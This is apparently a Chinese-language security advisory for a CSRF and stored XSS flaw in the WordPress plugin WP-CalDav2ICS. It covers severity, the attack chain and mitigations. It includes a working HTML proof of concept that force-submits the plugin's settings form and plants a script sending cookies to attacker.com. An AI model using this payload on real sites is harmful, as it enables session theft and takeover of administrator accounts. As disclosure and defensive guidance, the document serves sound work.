CVE-2025-59131 WP-CalDav2ICS插件CSRF存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-59131

漏洞类型

CSRF/存储型XSS

CVSS评分

7.1 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

WP-CalDav2ICS插件（hoernerfranz）

漏洞概述

CVE-2025-59131是WordPress插件WP-CalDav2ICS中的一个高危安全漏洞，CVSS评分达到7.1。该漏洞属于跨站请求伪造（CSRF）结合存储型跨站脚本（Stored XSS）的复合型漏洞。WP-CalDav2ICS插件主要用于将CalDAV日历数据转换为ICS格式，方便用户在WordPress网站上集成和管理日历事件。该插件在处理用户输入时缺乏适当的CSRF防护机制和输入验证，导致攻击者可以构造恶意请求，在受害者访问包含恶意脚本的页面时自动执行，从而窃取用户会话信息、劫持管理员账户或进行其他恶意操作。由于该XSS为存储型，恶意脚本会永久保存在服务器端，影响所有访问相关页面的用户，具有广泛的传播性和严重的危害性。WordPress作为全球使用最广泛的内容管理系统之一，该插件的漏洞可能影响大量使用该插件进行日历管理的网站。

技术细节

该漏洞源于WP-CalDav2ICS插件在处理用户提交的数据时存在两个关键安全问题：

1. CSRF防护缺失：插件未实现有效的CSRF token验证机制，允许攻击者诱导已登录用户执行非预期的操作。WordPress插件应使用wp_nonce_field()和wp_verify_nonce()函数来生成和验证随机数，但该插件未遵循这一安全实践。

2. 存储型XSS漏洞：由于缺乏输入过滤和输出转义，攻击者可以在插件的设置或数据处理功能中注入恶意JavaScript代码。这些恶意代码会被永久存储在数据库中，当其他用户访问相关页面时，浏览器会执行这些脚本。

攻击者利用此漏洞的方式是构造一个包含恶意JavaScript的表单，并通过社会工程学手段诱导已登录的管理员或用户访问。恶意脚本可以：
- 窃取用户Cookie和会话信息
- 劫持用户账户
- 修改网站内容
- 植入后门程序
- 横向移动攻击其他用户

该漏洞影响版本从n/a至1.3.4，攻击复杂度低，无需特殊权限，但需要用户交互（UI:R），攻击向量为网络（AV:N）。

攻击链分析

STEP 1

步骤1

攻击者创建恶意HTML页面，包含针对WP-CalDav2ICS插件设置功能的CSRF攻击代码

STEP 2

步骤2

攻击者通过社会工程学手段（如钓鱼邮件、恶意链接等）诱导已登录的管理员访问恶意页面

STEP 3

步骤3

受害者浏览器自动向目标网站的WP-CalDav2ICS插件提交恶意请求，由于缺乏CSRF防护，请求被接受

STEP 4

步骤4

恶意JavaScript代码（如<script>标签）被存储到数据库中，植入到插件设置或日历数据中

STEP 5

步骤5

当其他用户访问包含恶意代码的页面时，浏览器执行存储型XSS payload，窃取Cookie或执行其他恶意操作

STEP 6

步骤6

攻击者利用窃取的会话信息劫持管理员账户，获得网站完全控制权

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CSRF PoC for CVE-2025-59131 - WP-CalDav2ICS Stored XSS -->
<html>
  <body>
    <form action="http://target-site/wp-admin/admin.php?page=wp-caldav2ics-settings" method="POST" id="exploit">
      <input type="hidden" name="caldav_url" value="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" />
      <input type="hidden" name="submit" value="Save Changes" />
      <!-- Add CSRF token bypass if needed -->
    </form>
    <script>
      document.getElementById('exploit').submit();
    </script>
  </body>
</html>

影响范围

WP-CalDav2ICS <= 1.3.4

防御指南

临时缓解措施

在官方补丁发布之前，可以采取以下临时缓解措施：1）禁用或删除WP-CalDav2ICS插件；2）使用WordPress安全插件如Wordfence或Sucuri来检测CSRF和XSS攻击；3）启用双因素认证保护管理员账户；4）限制管理员账户的使用，避免从不受信任的网络访问后台；5）定期检查网站文件和数据库，查找可疑的脚本注入代码；6）使用HTTP Security Headers，特别是Content-Security-Policy头来防止XSS执行。